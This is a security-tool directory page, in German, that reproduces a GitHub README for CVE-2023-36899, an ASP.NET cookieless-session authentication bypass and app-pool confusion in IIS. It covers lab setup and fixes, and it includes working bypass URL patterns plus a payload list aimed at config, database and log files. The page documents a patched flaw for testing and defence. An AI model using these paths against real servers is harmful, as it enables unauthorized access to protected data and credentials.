Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-36899 — Reproduktionsumgebung und Werkzeuge für die Schwachstelle CVE-2023-36899, die die Umgehung der Authentifizierung cookieloser Sitzungen im ASP.NET-Framework betrifft. | Kitploit
Tools/GitHubGitHub/midisec/cve-2023-36899
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationIDS/IPS-UmgehungWebanwendungs-ExploitationPenetrationstests
GitHubmidisec/cve-2023-36899

CVE-2023-36899

Reproduktionsumgebung und Werkzeuge für die Schwachstelle CVE-2023-36899, die die Umgehung der Authentifizierung cookieloser Sitzungen im ASP.NET-Framework betrifft.

Repository anzeigen
335vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-36899

CVE-2023-36899漏洞的复现环境和工具,针对ASP.NET框架中的无cookie会话身份验证绕过。

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)

Im modernen Webentwicklung sind Cookies zwar die bevorzugte Methode zur Übertragung von Sitzungs-IDs, aber das .NET Framework bietet auch eine alternative Methode: die Sitzungs-ID direkt in der URL zu kodieren. Diese Technik wird als 'cookieless'-Funktion im .NET Framework bezeichnet. Viele Entwickler und Sicherheitstester übersehen diese Option, da sie in der Praxis selten vorkommt. Allerdings hat sich dies zu einer Fundgrube für clientseitige Schwachstellen wie Session Fixation, Session Hijacking, HTML-Injection und Cross-Site Scripting entwickelt. Darüber hinaus kann diese Funktion ausgenutzt werden, um pfadbasierte Firewall-Regeln zu umgehen, die nicht für die Erkennung der cookielosen Methode konfiguriert sind. Aufgrund der inhärenten Sicherheitsprobleme haben .NET Core und spätere .NET-Versionen die cookielose Funktion weggelassen. Aber wir dürfen nicht vergessen, dass es immer noch eine große Anzahl von Webanwendungen gibt, die das klassische .NET Framework verwenden.

Schlüsselpunkte:

  1. Die cookielose Funktion des .NET Frameworks kann missbraucht werden, um auf geschützte Verzeichnisse oder Verzeichnisse zuzugreifen, die von IIS URL-Filtern blockiert werden.
  2. Durch die Verwendung der cookielosen Funktion können die IIS-Authentifizierung oder Filterüberprüfungen umgangen werden.
  3. Ein weiteres Problem betrifft die Art und Weise, wie IIS Anwendungspools verwaltet, was zu einer Privilegienerweiterung oder Sicherheitsumgehung führen kann.
  4. Durch die cookielose Funktion des .NET Frameworks kann eine IIS-Anwendung gezwungen werden, mit dem übergeordneten Anwendungspool anstelle ihres eigenen Anwendungspools zu laufen.

Details der Schwachstelle:

1. Umgehung von IIS-beschränkten Pfaden

Die cookielose Funktion des .NET Frameworks kann missbraucht werden, um auf geschützte Verzeichnisse oder Verzeichnisse zuzugreifen, die von IIS URL-Filtern blockiert werden. Betrachten Sie zum Beispiel die folgende Situation auf der Website victim.com:

  • Eine Seite im Verzeichnis /protected/: /webform/protected/target1.aspx, das eine Basisauthentifizierung erzwingt.
  • Eine Seite, die vorübergehend in den Ordner /bin/ verschoben wurde: /webform/bin/target2.aspx, sodass sie nicht zugänglich ist.

Normalerweise wird der Zugriff auf diese Seiten über diese URLs in IIS blockiert:

  • http://10.0.2.15:8080/webform/protected/target1.aspx
  • http://10.0.2.15:8080/webform/bin/target2.aspx

Aber unter Verwendung der cookielosen Funktion können diese Seiten über die folgenden Muster aufgerufen werden:

  • http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
  • http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. Anwendungspool-Konfusion

Die Art und Weise, wie IIS Anwendungspools verwaltet, kann zu einer Privilegienerweiterung oder Sicherheitsumgehung führen. Die cookielose Funktion des .NET Frameworks kann manipuliert werden, um eine IIS-Anwendung zu zwingen, mit dem übergeordneten Anwendungspool anstelle ihres eigenen zu laufen.

Zum Beispiel:

  • Der Stamm der Website (/) läuft mit dem Anwendungspool DefaultAppPool.
  • Die Anwendung /classic/ verwendet den Anwendungspool .NET v4.5 Classic.
  • Die Anwendung /classic/nodotnet/ verwendet den Anwendungspool NoManagedCodeClassic, der keinen verwalteten Code unterstützt.

Eine C#-Datei namens AppPoolPrint.aspx, auf die in allen oben genannten Anwendungen zugegriffen werden kann, zeigt den aktuellen Anwendungspoolnamen an.

Durch zweimalige Verwendung der cookielosen Funktion können wir diese Seite mit dem übergeordneten Anwendungspool ausführen:

  • /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
  • /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
  • /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

Dies erlaubt es, dass Seiten in /classic/nodotnet/ (die keinen verwalteten Code ausführen sollten) dennoch ASPX-Seiten mit dem übergeordneten Anwendungspool ausführen. Dieses Verhalten kann zu einer Privilegienerweiterung auf IIS führen.

Reproduktion der Schwachstelle:

1. Umgebungsvorbereitung:

  • Betriebssystem: Installieren Sie eine Windows Server Version, z.B. Windows Server 2016 oder 2019.
  • Webserver: Installieren Sie Internet Information Services (IIS).
  • Entwicklungsframework: Installieren Sie das .NET Framework (nicht .NET Core oder .NET 5+).

Wählen Sie bei der Installation von IIS aus:

  • Webserver:
    • Allgemeine HTTP-Funktionen:
      • Statischer Inhalt
      • Standarddokument
      • Verzeichnisdurchsuchung
      • HTTP-Fehler
    • Anwendungsentwicklung:
      • .NET-Erweiterbarkeit (entsprechend Ihrer .NET Framework Version: 4.5)
      • ASP.NET (entsprechend Ihrer .NET Framework Version: 4.5)
      • ISAPI-Erweiterungen
      • ISAPI-Filter
  • Integrität und Diagnose:
    • HTTP-Protokollierung
    • Anforderungsüberwachung
    • Protokollierungstools
  • Sicherheit:
    • Anforderungsfilterung
    • Basisauthentifizierung
    • Windows-Authentifizierung

2. IIS konfigurieren:

  1. Öffnen Sie den IIS-Manager.
  2. Erstellen Sie eine neue Website.
  3. Erstellen Sie in der neuen Website einige Verzeichnisse, z.B. /webform, /webform/protected und /webform/bin.
  4. Legen Sie im Verzeichnis /protected/ die Basisauthentifizierung fest.
  5. Verschieben Sie die Seite /webform/bin/target.aspx in den Ordner /bin/, sodass sie nicht direkt zugänglich ist. (Das bin-Verzeichnis ist standardmäßig von IIS gesperrt, da es sensible kompilierte Programme enthält.)

3. Testseiten erstellen:

  1. Erstellen Sie im Verzeichnis /webform/protected/ eine Seite namens target.aspx.
  2. Erstellen Sie im Verzeichnis /webform/bin/ eine Seite namens target.aspx.
  3. Erstellen Sie in jeder Anwendung eine Seite namens AppPoolPrint.aspx, die den aktuellen Anwendungspoolnamen anzeigen kann.

Testinhalt der Datei target.aspx:

root@kitploit:~
<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

Testinhalt der Datei web.config im Stammverzeichnis:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

Wobei bedeutet, dass die Website Cookies verwendet, um einige Standardsitzungsinformationen zu speichern, standardmäßig ist dies auch so.

4. Schwachstelle reproduzieren:

  1. Versuchen Sie, direkt auf die Seiten /webform/protected/target.aspx und /webform/bin/target.aspx zuzugreifen. Sie sollten blockiert werden oder zur Authentifizierung aufgefordert werden.

2023-08-16 06-25-21屏幕截图.png

Mit http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx erfolgreich darauf zugegriffen. 2023-08-16 06-33-20屏幕截图.png

  1. Versuchen Sie, mit der cookielosen Funktion auf diese Seiten zuzugreifen, z.B.:
    • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
    • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx Sie sollten in der Lage sein, die Authentifizierung oder Filter zu umgehen und auf diese Seiten zuzugreifen.

Empfehlungen zur Behebung

  1. Blockieren Sie das /S(X))-Merkmal in der WAF.
  2. Installieren Sie den entsprechenden Patch auf dem Server https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

Mögliche Payload-Liste:

root@kitploit:~
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

Referenzen:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899

Tool herunterladen